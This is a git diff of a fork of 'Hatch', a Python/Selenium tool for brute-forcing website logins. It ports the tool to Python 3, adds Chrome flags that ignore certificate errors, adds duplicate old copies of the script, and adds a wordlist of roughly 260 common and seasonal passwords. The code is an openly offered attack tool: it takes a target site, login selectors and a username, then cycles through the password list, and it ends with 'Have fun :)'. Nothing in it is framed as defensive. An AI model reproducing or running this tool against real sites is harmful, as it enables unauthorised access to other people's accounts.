diff --git a/README.md b/README.md
index b8569cb..d54b014 100644
--- a/README.md
+++ b/README.md
@@ -1,9 +1,23 @@
# Hatch
Hatch is a brute force tool that is used to brute force most websites
+# Update! Aug. 26, 2021
+ - converted from Python2 to Python3 using 2to3. https://docs.python.org/3/library/2to3.html
+```
+2to3 -w main.py
+```
+ - added:
+ ```
+ options.add_argument('--ignore-ssl-errors=yes')
+ options.add_argument('--ignore-certificate-errors')
+ options.add_argument('--allow-running-insecure-content')
+ ```
+ - changed Chromedriver location for Linux Machine.
+## NOTE: I had to install chrome from google not chromium from apt for it to work on Linux.
+
# Update! v.1.3.1
added arg support **yay**
-
+
-h, --help show this help message and exit
-u USERNAME, --username=USERNAME Choose the username
--usernamesel=USERNAMESEL Choose the username selector
@@ -15,21 +29,23 @@ dont worry if you load up the tool without any args youll go to the default wiza
Also i removed the apt xvfb and pip2 pyvirtualdisplay
## Installation Instructions
```
-git clone https://github.com/MetaChar/Hatch
-python2 main.py
+git clone https://github.com/ciwen3/Hatch.git
+edit driver location in main.py
+python3 main.py
```
## Requirements
+ - pip modules
```
-pip2 install selenium
-pip2 install requests
+pip3 install selenium
+pip3 install requests
```
-Chrome and chromedriver are required
+ - Chrome and chromedriver are required
You can download chromedriver here: http://chromedriver.chromium.org/downloads
-for this fork, create a folder in your C drive called 'webdrivers' and place the executable file inside. If you want to use a different directory, simply change the CHROME_DVR_DIR variable inside the python file.
-
+for this fork, simply change the CHROME_DVR_DIR variable inside the python file to where you stored it.
+
## How to use (text)
1). Find a website with a login page
2). Inspect element to find the Selector of the username form
@@ -37,7 +53,3 @@ for this fork, create a folder in your C drive called 'webdrivers' and place the
4). The the login form
5). When Asked put in the username to brute force
6). Watch it go!
-
-## How to use (Video)
-[](https://youtu.be/Hd_kQVnajxk "Video Title")
-
diff --git a/chromedriver b/chromedriver
new file mode 100644
index 0000000..3999d77
Binary files /dev/null and b/chromedriver differ
diff --git a/main.py b/main.py
index 8274be3..7fcd0d9 100644
--- a/main.py
+++ b/main.py
@@ -1,5 +1,18 @@
# Coded by METACHAR
# Looking to work with other hit me up on my email @metachar1@gmail.com <--
+#
+# Forked from: https://github.com/nsgodshall/Hatch
+# Edited by Strat0m Aug. 26, 2021
+# Converted to Python3 using 2to3
+# https://docs.python.org/3/library/2to3.html
+#
+# added:
+# options.add_argument('--ignore-ssl-errors=yes')
+# options.add_argument('--ignore-certificate-errors')
+# http://blogs.stevelongchen.com/2020/05/14/selenium-how-to-disable-or-bypass-connection-is-not-private-for-chrome-and-firefox/
+
+
+
import sys
import datetime
import selenium
@@ -42,36 +55,38 @@ class color:
(options, args) = parser.parse_args()
-CHROME_DVR_DIR = 'C:\webdrivers\chromedriver.exe'
+# CHROME_DVR_DIR = 'C:\webdrivers\chromedriver.exe'
+CHROME_DVR_DIR = '/opt/Hatch/chromedriver'
+
def wizard():
print (banner)
- website = raw_input(color.GREEN + color.BOLD + '\n[~] ' + color.CWHITE + 'Enter a website: ')
+ website = input(color.GREEN + color.BOLD + '\n[~] ' + color.CWHITE + 'Enter a website: ')
sys.stdout.write(color.GREEN + '[!] '+color.CWHITE + 'Checking if site exists '),
sys.stdout.flush()
t.sleep(1)
try:
request = requests.get(website)
if request.status_code == 200:
- print (color.GREEN + '[OK]'+color.CWHITE)
+ print((color.GREEN + '[OK]'+color.CWHITE))
sys.stdout.flush()
except selenium.common.exceptions.NoSuchElementException:
pass
except KeyboardInterrupt:
- print (color.RED + '[!]'+color.CWHITE+ 'User used Ctrl-c to exit')
+ print((color.RED + '[!]'+color.CWHITE+ 'User used Ctrl-c to exit'))
exit()
except:
t.sleep(1)
- print (color.RED + '[X]'+color.CWHITE)
+ print((color.RED + '[X]'+color.CWHITE))
t.sleep(1)
- print (color.RED + '[!]'+color.CWHITE+ ' Website could not be located make sure to use http / https')
+ print((color.RED + '[!]'+color.CWHITE+ ' Website could not be located make sure to use http / https'))
exit()
- username_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username selector: ')
- password_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the password selector: ')
- login_btn_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the Login button selector: ')
- username = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username to brute-force: ')
- pass_list = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter a directory to a password list: ')
+ username_selector = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username selector: ')
+ password_selector = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the password selector: ')
+ login_btn_selector = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the Login button selector: ')
+ username = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username to brute-force: ')
+ pass_list = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter a directory to a password list: ')
brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website)
def brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website):
@@ -80,6 +95,9 @@ def brutes(username, username_selector ,password_selector,login_btn_selector,pas
optionss = webdriver.ChromeOptions()
optionss.add_argument("--disable-popup-blocking")
optionss.add_argument("--disable-extensions")
+ options.add_argument('--ignore-ssl-errors=yes')
+ options.add_argument('--ignore-certificate-errors')
+ options.add_argument('--allow-running-insecure-content')
count = 1 #count
browser = webdriver.Chrome(CHROME_DVR_DIR)
while True:
@@ -95,17 +113,17 @@ def brutes(username, username_selector ,password_selector,login_btn_selector,pas
Sel_user.send_keys(username)
Sel_pas.send_keys(line)
t.sleep(5)
- print '------------------------'
- print (color.GREEN + 'Tried password: '+color.RED + line + color.GREEN + 'for user: '+color.RED+ username)
- print '------------------------'
+ print('------------------------')
+ print((color.GREEN + 'Tried password: '+color.RED + line + color.GREEN + 'for user: '+color.RED+ username))
+ print('------------------------')
temp = line
except KeyboardInterrupt: #returns to main menu if ctrl C is used
exit()
except selenium.common.exceptions.NoSuchElementException:
- print 'AN ELEMENT HAS BEEN REMOVED FROM THE PAGE SOURCE THIS COULD MEAN 2 THINGS THE PASSWORD WAS FOUND OR YOU HAVE BEEN LOCKED OUT OF ATTEMPTS! '
- print 'LAST PASS ATTEMPT BELLOW'
- print color.GREEN + 'Password has been found: {0}'.format(temp)
- print color.YELLOW + 'Have fun :)'
+ print('AN ELEMENT HAS BEEN REMOVED FROM THE PAGE SOURCE THIS COULD MEAN 2 THINGS THE PASSWORD WAS FOUND OR YOU HAVE BEEN LOCKED OUT OF ATTEMPTS! ')
+ print('LAST PASS ATTEMPT BELLOW')
+ print(color.GREEN + 'Password has been found: {0}'.format(temp))
+ print(color.YELLOW + 'Have fun :)')
exit()
@@ -142,5 +160,5 @@ def brutes(username, username_selector ,password_selector,login_btn_selector,pas
login_btn_selector = options.loginsel
website = options.website
pass_list = options.passlist
-print banner
+print(banner)
brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website)
diff --git a/old/main-python2.py b/old/main-python2.py
new file mode 100644
index 0000000..8274be3
--- /dev/null
+++ b/old/main-python2.py
@@ -0,0 +1,146 @@
+# Coded by METACHAR
+# Looking to work with other hit me up on my email @metachar1@gmail.com <--
+import sys
+import datetime
+import selenium
+import requests
+import time as t
+from sys import stdout
+from selenium import webdriver
+from optparse import OptionParser
+from selenium.webdriver.common.keys import Keys
+from selenium.common.exceptions import NoSuchElementException
+
+
+#Graphics
+class color:
+ PURPLE = '\033[95m'
+ CYAN = '\033[96m'
+ DARKCYAN = '\033[36m'
+ BLUE = '\033[94m'
+ GREEN = '\033[92m'
+ YELLOW = '\033[93m'
+ RED = '\033[91m'
+ BOLD = '\033[1m'
+ UNDERLINE = '\033[4m'
+ END = '\033[0m'
+ CWHITE = '\33[37m'
+
+
+#Config#
+parser = OptionParser()
+now = datetime.datetime.now()
+
+
+#Args
+parser.add_option("-u", "--username", dest="username",help="Choose the username")
+parser.add_option("--usernamesel", dest="usernamesel",help="Choose the username selector")
+parser.add_option("--passsel", dest="passsel",help="Choose the password selector")
+parser.add_option("--loginsel", dest="loginsel",help= "Choose the login button selector")
+parser.add_option("--passlist", dest="passlist",help="Enter the password list directory")
+parser.add_option("--website", dest="website",help="choose a website")
+(options, args) = parser.parse_args()
+
+
+CHROME_DVR_DIR = 'C:\webdrivers\chromedriver.exe'
+
+def wizard():
+ print (banner)
+ website = raw_input(color.GREEN + color.BOLD + '\n[~] ' + color.CWHITE + 'Enter a website: ')
+ sys.stdout.write(color.GREEN + '[!] '+color.CWHITE + 'Checking if site exists '),
+ sys.stdout.flush()
+ t.sleep(1)
+ try:
+ request = requests.get(website)
+ if request.status_code == 200:
+ print (color.GREEN + '[OK]'+color.CWHITE)
+ sys.stdout.flush()
+ except selenium.common.exceptions.NoSuchElementException:
+ pass
+ except KeyboardInterrupt:
+ print (color.RED + '[!]'+color.CWHITE+ 'User used Ctrl-c to exit')
+ exit()
+ except:
+ t.sleep(1)
+ print (color.RED + '[X]'+color.CWHITE)
+ t.sleep(1)
+ print (color.RED + '[!]'+color.CWHITE+ ' Website could not be located make sure to use http / https')
+ exit()
+
+ username_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username selector: ')
+ password_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the password selector: ')
+ login_btn_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the Login button selector: ')
+ username = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username to brute-force: ')
+ pass_list = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter a directory to a password list: ')
+ brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website)
+
+def brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website):
+ f = open(pass_list, 'r')
+ driver = webdriver.Chrome(CHROME_DVR_DIR)
+ optionss = webdriver.ChromeOptions()
+ optionss.add_argument("--disable-popup-blocking")
+ optionss.add_argument("--disable-extensions")
+ count = 1 #count
+ browser = webdriver.Chrome(CHROME_DVR_DIR)
+ while True:
+ try:
+ for line in f:
+ browser.get(website)
+ t.sleep(2)
+ Sel_user = browser.find_element_by_css_selector(username_selector) #Finds Selector
+ Sel_pas = browser.find_element_by_css_selector(password_selector) #Finds Selector
+ enter = browser.find_element_by_css_selector(login_btn_selector) #Finds Selector
+ # browser.find_element_by_css_selector(password_selector).clear()
+ # browser.find_element_by_css_selector(username_selector).clear()
+ Sel_user.send_keys(username)
+ Sel_pas.send_keys(line)
+ t.sleep(5)
+ print '------------------------'
+ print (color.GREEN + 'Tried password: '+color.RED + line + color.GREEN + 'for user: '+color.RED+ username)
+ print '------------------------'
+ temp = line
+ except KeyboardInterrupt: #returns to main menu if ctrl C is used
+ exit()
+ except selenium.common.exceptions.NoSuchElementException:
+ print 'AN ELEMENT HAS BEEN REMOVED FROM THE PAGE SOURCE THIS COULD MEAN 2 THINGS THE PASSWORD WAS FOUND OR YOU HAVE BEEN LOCKED OUT OF ATTEMPTS! '
+ print 'LAST PASS ATTEMPT BELLOW'
+ print color.GREEN + 'Password has been found: {0}'.format(temp)
+ print color.YELLOW + 'Have fun :)'
+ exit()
+
+
+
+banner = color.BOLD + color.RED +'''
+ _ _ _ _
+ | | | | | | | |
+ | |__| | __ _| |_ ___| |__
+ | __ |/ _` | __/ __| '_ \\
+ | | | | (_| | || (__| | | |
+ |_| |_|\__,_|\__\___|_| |_|
+ {0}[{1}-{2}]--> {3}V.1.0
+ {4}[{5}-{6}]--> {7}coded by Metachar
+ {8}[{9}-{10}]-->{11} brute-force tool '''.format(color.RED, color.CWHITE,color.RED,color.GREEN,color.RED, color.CWHITE,color.RED,color.GREEN,color.RED, color.CWHITE,color.RED,color.GREEN)
+
+driver = webdriver.Chrome(CHROME_DVR_DIR)
+optionss = webdriver.ChromeOptions()
+optionss.add_argument("--disable-popup-blocking")
+optionss.add_argument("--disable-extensions")
+count = 1 #count
+
+if options.username == None:
+ if options.usernamesel == None:
+ if options.passsel == None:
+ if options.loginsel == None:
+ if options.passlist == None:
+ if options.website == None:
+ wizard()
+
+
+username = options.username
+username_selector = options.usernamesel
+password_selector = options.passsel
+login_btn_selector = options.loginsel
+website = options.website
+pass_list = options.passlist
+print banner
+brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website)
diff --git a/old/main.py.bak b/old/main.py.bak
new file mode 100644
index 0000000..db42a8d
--- /dev/null
+++ b/old/main.py.bak
@@ -0,0 +1,147 @@
+# Coded by METACHAR
+# Looking to work with other hit me up on my email @metachar1@gmail.com <--
+import sys
+import datetime
+import selenium
+import requests
+import time as t
+from sys import stdout
+from selenium import webdriver
+from optparse import OptionParser
+from selenium.webdriver.common.keys import Keys
+from selenium.common.exceptions import NoSuchElementException
+
+
+#Graphics
+class color:
+ PURPLE = '\033[95m'
+ CYAN = '\033[96m'
+ DARKCYAN = '\033[36m'
+ BLUE = '\033[94m'
+ GREEN = '\033[92m'
+ YELLOW = '\033[93m'
+ RED = '\033[91m'
+ BOLD = '\033[1m'
+ UNDERLINE = '\033[4m'
+ END = '\033[0m'
+ CWHITE = '\33[37m'
+
+
+#Config#
+parser = OptionParser()
+now = datetime.datetime.now()
+
+
+#Args
+parser.add_option("-u", "--username", dest="username",help="Choose the username")
+parser.add_option("--usernamesel", dest="usernamesel",help="Choose the username selector")
+parser.add_option("--passsel", dest="passsel",help="Choose the password selector")
+parser.add_option("--loginsel", dest="loginsel",help= "Choose the login button selector")
+parser.add_option("--passlist", dest="passlist",help="Enter the password list directory")
+parser.add_option("--website", dest="website",help="choose a website")
+(options, args) = parser.parse_args()
+
+
+CHROME_DVR_DIR = 'C:\webdrivers\chromedriver.exe'
+
+def wizard():
+ print (banner)
+ website = raw_input(color.GREEN + color.BOLD + '\n[~] ' + color.CWHITE + 'Enter a website: ')
+ sys.stdout.write(color.GREEN + '[!] '+color.CWHITE + 'Checking if site exists '),
+ sys.stdout.flush()
+ t.sleep(1)
+ try:
+ request = requests.get(website)
+ if request.status_code == 200:
+ print (color.GREEN + '[OK]'+color.CWHITE)
+ sys.stdout.flush()
+ except selenium.common.exceptions.NoSuchElementException:
+ pass
+ except KeyboardInterrupt:
+ print (color.RED + '[!]'+color.CWHITE+ 'User used Ctrl-c to exit')
+ exit()
+ except:
+ t.sleep(1)
+ print (color.RED + '[X]'+color.CWHITE)
+ t.sleep(1)
+ print (color.RED + '[!]'+color.CWHITE+ ' Website could not be located make sure to use http / https')
+ exit()
+
+ username_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username selector: ')
+ password_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the password selector: ')
+ login_btn_selector = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the Login button selector: ')
+ username = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username to brute-force: ')
+ pass_list = raw_input(color.GREEN + '[~] ' + color.CWHITE + 'Enter a directory to a password list: ')
+ brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website)
+
+def brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website):
+ f = open(pass_list, 'r')
+ driver = webdriver.Chrome(CHROME_DVR_DIR)
+ optionss = webdriver.ChromeOptions()
+ optionss.add_argument("--disable-popup-blocking")
+ optionss.add_argument("--disable-extensions")
+ options.add_argument('ignore-certificate-errors')
+ count = 1 #count
+ browser = webdriver.Chrome(CHROME_DVR_DIR)
+ while True:
+ try:
+ for line in f:
+ browser.get(website)
+ t.sleep(2)
+ Sel_user = browser.find_element_by_css_selector(username_selector) #Finds Selector
+ Sel_pas = browser.find_element_by_css_selector(password_selector) #Finds Selector
+ enter = browser.find_element_by_css_selector(login_btn_selector) #Finds Selector
+ # browser.find_element_by_css_selector(password_selector).clear()
+ # browser.find_element_by_css_selector(username_selector).clear()
+ Sel_user.send_keys(username)
+ Sel_pas.send_keys(line)
+ t.sleep(5)
+ print '------------------------'
+ print (color.GREEN + 'Tried password: '+color.RED + line + color.GREEN + 'for user: '+color.RED+ username)
+ print '------------------------'
+ temp = line
+ except KeyboardInterrupt: #returns to main menu if ctrl C is used
+ exit()
+ except selenium.common.exceptions.NoSuchElementException:
+ print 'AN ELEMENT HAS BEEN REMOVED FROM THE PAGE SOURCE THIS COULD MEAN 2 THINGS THE PASSWORD WAS FOUND OR YOU HAVE BEEN LOCKED OUT OF ATTEMPTS! '
+ print 'LAST PASS ATTEMPT BELLOW'
+ print color.GREEN + 'Password has been found: {0}'.format(temp)
+ print color.YELLOW + 'Have fun :)'
+ exit()
+
+
+
+banner = color.BOLD + color.RED +'''
+ _ _ _ _
+ | | | | | | | |
+ | |__| | __ _| |_ ___| |__
+ | __ |/ _` | __/ __| '_ \\
+ | | | | (_| | || (__| | | |
+ |_| |_|\__,_|\__\___|_| |_|
+ {0}[{1}-{2}]--> {3}V.1.0
+ {4}[{5}-{6}]--> {7}coded by Metachar
+ {8}[{9}-{10}]-->{11} brute-force tool '''.format(color.RED, color.CWHITE,color.RED,color.GREEN,color.RED, color.CWHITE,color.RED,color.GREEN,color.RED, color.CWHITE,color.RED,color.GREEN)
+
+driver = webdriver.Chrome(CHROME_DVR_DIR)
+optionss = webdriver.ChromeOptions()
+optionss.add_argument("--disable-popup-blocking")
+optionss.add_argument("--disable-extensions")
+count = 1 #count
+
+if options.username == None:
+ if options.usernamesel == None:
+ if options.passsel == None:
+ if options.loginsel == None:
+ if options.passlist == None:
+ if options.website == None:
+ wizard()
+
+
+username = options.username
+username_selector = options.usernamesel
+password_selector = options.passsel
+login_btn_selector = options.loginsel
+website = options.website
+pass_list = options.passlist
+print banner
+brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website)
diff --git a/old/main.py.old b/old/main.py.old
new file mode 100644
index 0000000..786c330
--- /dev/null
+++ b/old/main.py.old
@@ -0,0 +1,158 @@
+# Coded by METACHAR
+# Looking to work with other hit me up on my email @metachar1@gmail.com <--
+#
+# Forked from: https://github.com/nsgodshall/Hatch
+# Edited by Strat0m Aug. 26, 2021
+# Converted to Python3 using 2to3
+# https://docs.python.org/3/library/2to3.html
+#
+# added: options.add_argument('ignore-certificate-errors')
+# https://stackoverflow.com/questions/24507078/how-to-deal-with-certificates-using-selenium
+
+import sys
+import datetime
+import selenium
+import requests
+import time as t
+from sys import stdout
+from selenium import webdriver
+from optparse import OptionParser
+from selenium.webdriver.common.keys import Keys
+from selenium.common.exceptions import NoSuchElementException
+
+
+#Graphics
+class color:
+ PURPLE = '\033[95m'
+ CYAN = '\033[96m'
+ DARKCYAN = '\033[36m'
+ BLUE = '\033[94m'
+ GREEN = '\033[92m'
+ YELLOW = '\033[93m'
+ RED = '\033[91m'
+ BOLD = '\033[1m'
+ UNDERLINE = '\033[4m'
+ END = '\033[0m'
+ CWHITE = '\33[37m'
+
+
+#Config#
+parser = OptionParser()
+now = datetime.datetime.now()
+
+
+#Args
+parser.add_option("-u", "--username", dest="username",help="Choose the username")
+parser.add_option("--usernamesel", dest="usernamesel",help="Choose the username selector")
+parser.add_option("--passsel", dest="passsel",help="Choose the password selector")
+parser.add_option("--loginsel", dest="loginsel",help= "Choose the login button selector")
+parser.add_option("--passlist", dest="passlist",help="Enter the password list directory")
+parser.add_option("--website", dest="website",help="choose a website")
+(options, args) = parser.parse_args()
+
+
+# CHROME_DVR_DIR = 'C:\webdrivers\chromedriver.exe'
+CHROME_DVR_DIR = '/home/strat0m/Hatch/chromedriver'
+
+
+def wizard():
+ print (banner)
+ website = input(color.GREEN + color.BOLD + '\n[~] ' + color.CWHITE + 'Enter a website: ')
+ sys.stdout.write(color.GREEN + '[!] '+color.CWHITE + 'Checking if site exists '),
+ sys.stdout.flush()
+ t.sleep(1)
+ try:
+ request = requests.get(website)
+ if request.status_code == 200:
+ print((color.GREEN + '[OK]'+color.CWHITE))
+ sys.stdout.flush()
+ except selenium.common.exceptions.NoSuchElementException:
+ pass
+ except KeyboardInterrupt:
+ print((color.RED + '[!]'+color.CWHITE+ 'User used Ctrl-c to exit'))
+ exit()
+ except:
+ t.sleep(1)
+ print((color.RED + '[X]'+color.CWHITE))
+ t.sleep(1)
+ print((color.RED + '[!]'+color.CWHITE+ ' Website could not be located make sure to use http / https'))
+ exit()
+
+ username_selector = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username selector: ')
+ password_selector = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the password selector: ')
+ login_btn_selector = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the Login button selector: ')
+ username = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter the username to brute-force: ')
+ pass_list = input(color.GREEN + '[~] ' + color.CWHITE + 'Enter a directory to a password list: ')
+ brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website)
+
+def brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website):
+ f = open(pass_list, 'r')
+ driver = webdriver.Chrome(CHROME_DVR_DIR)
+ optionss = webdriver.ChromeOptions()
+ optionss.add_argument("--disable-popup-blocking")
+ optionss.add_argument("--disable-extensions")
+ options.add_argument('ignore-certificate-errors')
+ count = 1 #count
+ browser = webdriver.Chrome(CHROME_DVR_DIR)
+ while True:
+ try:
+ for line in f:
+ browser.get(website)
+ t.sleep(2)
+ Sel_user = browser.find_element_by_css_selector(username_selector) #Finds Selector
+ Sel_pas = browser.find_element_by_css_selector(password_selector) #Finds Selector
+ enter = browser.find_element_by_css_selector(login_btn_selector) #Finds Selector
+ # browser.find_element_by_css_selector(password_selector).clear()
+ # browser.find_element_by_css_selector(username_selector).clear()
+ Sel_user.send_keys(username)
+ Sel_pas.send_keys(line)
+ t.sleep(5)
+ print('------------------------')
+ print((color.GREEN + 'Tried password: '+color.RED + line + color.GREEN + 'for user: '+color.RED+ username))
+ print('------------------------')
+ temp = line
+ except KeyboardInterrupt: #returns to main menu if ctrl C is used
+ exit()
+ except selenium.common.exceptions.NoSuchElementException:
+ print('AN ELEMENT HAS BEEN REMOVED FROM THE PAGE SOURCE THIS COULD MEAN 2 THINGS THE PASSWORD WAS FOUND OR YOU HAVE BEEN LOCKED OUT OF ATTEMPTS! ')
+ print('LAST PASS ATTEMPT BELLOW')
+ print(color.GREEN + 'Password has been found: {0}'.format(temp))
+ print(color.YELLOW + 'Have fun :)')
+ exit()
+
+
+
+banner = color.BOLD + color.RED +'''
+ _ _ _ _
+ | | | | | | | |
+ | |__| | __ _| |_ ___| |__
+ | __ |/ _` | __/ __| '_ \\
+ | | | | (_| | || (__| | | |
+ |_| |_|\__,_|\__\___|_| |_|
+ {0}[{1}-{2}]--> {3}V.1.0
+ {4}[{5}-{6}]--> {7}coded by Metachar
+ {8}[{9}-{10}]-->{11} brute-force tool '''.format(color.RED, color.CWHITE,color.RED,color.GREEN,color.RED, color.CWHITE,color.RED,color.GREEN,color.RED, color.CWHITE,color.RED,color.GREEN)
+
+driver = webdriver.Chrome(CHROME_DVR_DIR)
+optionss = webdriver.ChromeOptions()
+optionss.add_argument("--disable-popup-blocking")
+optionss.add_argument("--disable-extensions")
+count = 1 #count
+
+if options.username == None:
+ if options.usernamesel == None:
+ if options.passsel == None:
+ if options.loginsel == None:
+ if options.passlist == None:
+ if options.website == None:
+ wizard()
+
+
+username = options.username
+username_selector = options.usernamesel
+password_selector = options.passsel
+login_btn_selector = options.loginsel
+website = options.website
+pass_list = options.passlist
+print(banner)
+brutes(username, username_selector ,password_selector,login_btn_selector,pass_list, website)
diff --git a/wordlist.txt b/wordlist.txt
new file mode 100644
index 0000000..36489e3
--- /dev/null
+++ b/wordlist.txt
@@ -0,0 +1,262 @@
+Spring2017
+Spring2021
+spring2021
+Summer2021
+summer2021
+Autumn2021
+autumn2021
+Fall2021
+fall2021
+Winter2021
+winter2021
+Spring2020
+spring2020
+Summer2020
+summer2020
+Autumn2020
+autumn2020
+Fall2020
+fall2020
+Winter2020
+winter2020
+Spring2019
+spring2019
+Summer2019
+summer2019
+Autumn2019
+autumn2019
+Fall2019
+fall2019
+Winter2019
+winter2019
+Spring2018
+spring2018
+Summer2018
+summer2018
+Autumn2018
+autumn2018
+Fall2018
+fall2018
+Winter2018
+winter2018
+Spring2016
+Spring2015
+Spring2014
+Spring2013
+spring2017
+spring2016
+spring2015
+spring2014
+spring2013
+Summer2017
+Summer2016
+Summer2015
+Summer2014
+Summer2013
+summer2017
+summer2016
+summer2015
+summer2014
+summer2013
+Autumn2017
+Autumn2016
+Autumn2015
+Autumn2014
+Autumn2013
+autumn2017
+autumn2016
+autumn2015
+autumn2014
+autumn2013
+Winter2017
+Winter2016
+Winter2015
+Winter2014
+Winter2013
+winter2017
+winter2016
+winter2015
+winter2014
+winter2013
+P@55w0rd
+P@ssw0rd!
+P@55w0rd!
+sqlsqlsqlsql
+SQLSQLSQLSQL
+Welcome123
+Welcome1234
+Welcome1212
+PassSql12
+network
+networking
+networks
+test
+testtest
+testing
+testing123
+testsql
+test-sql3
+sqlsqlsqlsqlsql
+bankbank
+default
+test
+testing
+password2
+
+password
+Password1
+Password1!
+P@ssw0rd
+password12
+Password12
+security
+security1
+security3
+secuirty3
+complex1
+complex2
+complex3
+sqlserver
+sql
+sqlsql
+password1
+password123
+complexpassword
+database
+server
+changeme
+change
+sqlserver2000
+sqlserver2005
+Sqlserver
+SqlServer
+Password1
+Password2
+P@ssw0rd
+P@ssw0rd!
+P@55w0rd!
+P@ssword!
+Password!
+password!
+sqlsvr
+sqlaccount
+account
+sasa
+sa
+administator
+pass
+sql
+microsoft
+sqlserver
+sa
+hugs
+sasa
+welcome
+welcome1
+welcome2
+march2011
+sqlpass
+sqlpassword
+guessme
+bird
+P@55w0rd!
+test
+dev
+devdev
+devdevdev
+qa
+god
+admin
+adminadmin
+admins
+goat
+sysadmin
+water
+dirt
+air
+earth
+company
+company1
+company123
+company1!
+company!
+secret
+secret!
+secret123
+secret1212
+secret12
+secret1!
+sqlpass123
+Summer2013
+Summer2012
+Summer2011
+Summer2010
+Summer2009
+Summer2008
+Winter2013
+Winter2012
+Winter2011
+Winter2010
+Winter2009
+Winter2008
+summer2013
+summer2012
+summer2011
+summer2010
+summer2009
+summer2008
+winter2013
+winter2012
+winter2011
+winter2010
+winter2009
+winter2008
+123456
+abcd123
+abc
+burp
+private
+unknown
+wicked
+alpine
+trust
+microsoft
+sql2000
+sql2003
+sql2005
+sql2008
+vista
+xp
+nt
+98
+95
+2003
+2008
+someday
+sql2010
+sql2011
+sql2009
+complex
+goat
+changelater
+rain
+fire
+snow
+unchanged
+qwerty
+12345678
+football
+baseball
+basketball
+abc123
+111111
+1qaz2wsx
+dragon
+master
+monkey
+letmein
+login
+princess
+solo
+qwertyuiop
+starwars